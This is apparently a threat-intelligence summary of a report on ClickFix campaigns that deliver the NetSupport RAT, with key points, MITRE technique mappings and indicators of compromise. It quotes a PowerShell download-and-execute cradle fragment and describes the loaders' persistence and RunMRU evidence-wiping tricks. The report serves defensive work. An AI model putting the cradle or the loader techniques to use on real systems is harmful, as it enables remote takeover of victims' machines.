Unpacking NetSupport RAT Loaders Delivered via ClickFix

Unpacking NetSupport RAT Loaders Delivered via ClickFix

eSentire’s TRU investigated numerous 2025 incidents where threat actors abused legitimate NetSupport Manager RMM, primarily delivered via the ClickFix social engineering vector and executed through PowerShell/JSON, Run Prompt loaders, and MSI-based installers. The report clusters activity into three distinct actor groups (EVALUSION, FSHGDREE32/SGI, XMLCTL), provides IOCs and deobfuscation guidance, and includes detection tooling such as a Yara rule and an unpacking utility. #NetSupport #ClickFix

Keypoints

  • eSentire TRU observed multiple campaigns in 2025 abusing NetSupport Manager for remote access, delivered mainly via the ClickFix initial access vector.
  • Attackers used a consistent PowerShell/JSON loader that decodes base64 payloads, drops NetSupport binaries (e.g., client32.exe), establishes persistence, and executes the client.
  • A variant of the PowerShell loader deletes RunMRU registry entries to hide Run Prompt execution; associated sample SHA256: 37d1d033e19cf9dc7313846d9d4026b03d2f822efccd963e5697e9633a4df0d0.
  • Less common MSI-based loaders use msiexec to retrieve installers that execute obfuscated base64 PowerShell which deobfuscates via subtracting 97 from byte values to produce an Invoke-Expression download cradle.
  • TRU clustered activity into three groups—EVALUSION, FSHGDREE32/SGI, and XMLCTL—based on license metadata, RADIUS secrets, TTPs, infrastructure, and NetSupport configuration differences.
  • Network analysis shows NetSupport C2 activity (Connectivity Server v1.92) with recognizable POLL behavior in PCAPs; the report provides an automated unpacking utility and a Yara rule to detect NetSupport.
  • Recommendations include disabling the Run prompt via GPO, preventing non-approved RMM installation, implementing phishing/security awareness training, and partnering with 24/7 MDR services.

MITRE Techniques

  • [T1190] Exploit Public-Facing Application – Attackers used the ClickFix initial access page to socially engineer victims into running commands via the Run Prompt (“…compelling them to execute malicious commands in the Windows Run Prompt…”).
  • [T1059.001] Command and Scripting Interpreter: PowerShell – Threat actors executed PowerShell-based loaders to download, decode, and run NetSupport payloads (“PowerShell.exe … (New-Object Net.WebClient).DownloadFile($S,$j);powershell -f $j”).
  • [T1112] Modify Registry – A loader variant deleted RunMRU registry values to remove evidence of Run Prompt execution (“…employs a technique to hide evidence of Run Prompt execution by deleting registry values in the RunMRU registry key.”).
  • [T1204.002] User Execution: Malicious Link – ClickFix delivery is a social-engineering web page that lures users to execute commands, reflecting user-executed malicious links/pages (“…leveraged the ClickFix initial access vector…compelling them to execute malicious commands…”).
  • [T1105] Ingress Tool Transfer – Loaders download NetSupport binaries and configuration (base64 payloads decoded and written to disk) using web retrieval methods (“(New-Object Net.WebClient).DownloadFile($S,$j)…Create a hidden/system dropper directory…Base64 decode each payload and write to disk”).
  • [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder – Persistence established via a shortcut in the Startup folder (“%APPDATA%MicrosoftWindowsStart MenuProgramsStartup folder”).
  • [T1071.001] Application Layer Protocol: Web Protocols – MSI and PowerShell stages perform HTTP requests to download further stages (e.g., “hxxps://riverlino[.]com/U.GRE”, “Go-http-client/1.2” user agent used in HTTP request).
  • [T1036.005] Masquerading: Match Legitimate Name or Location – Abuse of legitimate NetSupport Manager (RMM) tooling to appear benign while providing full remote control (“NetSupport Manager is a legitimate RMM that continues to see usage by threat actors for unauthorized/full remote control”).

Indicators of Compromise

  • [File Hash] notable malware samples – a823031ba57d0e5f7ef15d63fe93a05ed00eadfd19afc7d2fed60f20e651a8bb, 37d1d033e19cf9dc7313846d9d4026b03d2f822efccd963e5697e9633a4df0d0, and d5b13eb9e8afb79b4d7830caf3ac746637e5bda1752962e5bd0aed3352cc4a42 (MSI loader); plus other hashes like f81220b9…, 94c2f209…, f3f44fd3… referenced per cluster.
  • [Domains/URLs] download hosts observed – hxxps://riverlino[.]com/U.GRE, https://xunira[.]cloud/C[.]GRE, hxxps://global-weekends[.]net/res/helprecord, hxxps://stradomi[.]com/res/presentjudge (used by PowerShell/msiexec stages).
  • [File Names] NetSupport binaries and config – client32.exe (NetSupport client executed), NSM.LIC files containing licensee names like “EVALUSION”, “FSHGDREE32”, “XMLCTL”.
  • [Network/AS] hosting infrastructure examples – AS 209605 (UAB Host Baltic, Lithuania), AS 216071 (Servers Tech Fzco, UAE), AS 174 (COGENT-174, US) indicating cluster-specific infrastructure differences.
  • [Registry/Startup] persistence artifacts – shortcuts in %APPDATA%MicrosoftWindowsStart MenuProgramsStartup and deleted RunMRU registry values (evidence-hiding behavior in newer loader variant).


Read more: https://www.esentire.com/blog/unpacking-netsupport-rat-loaders-delivered-via-clickfix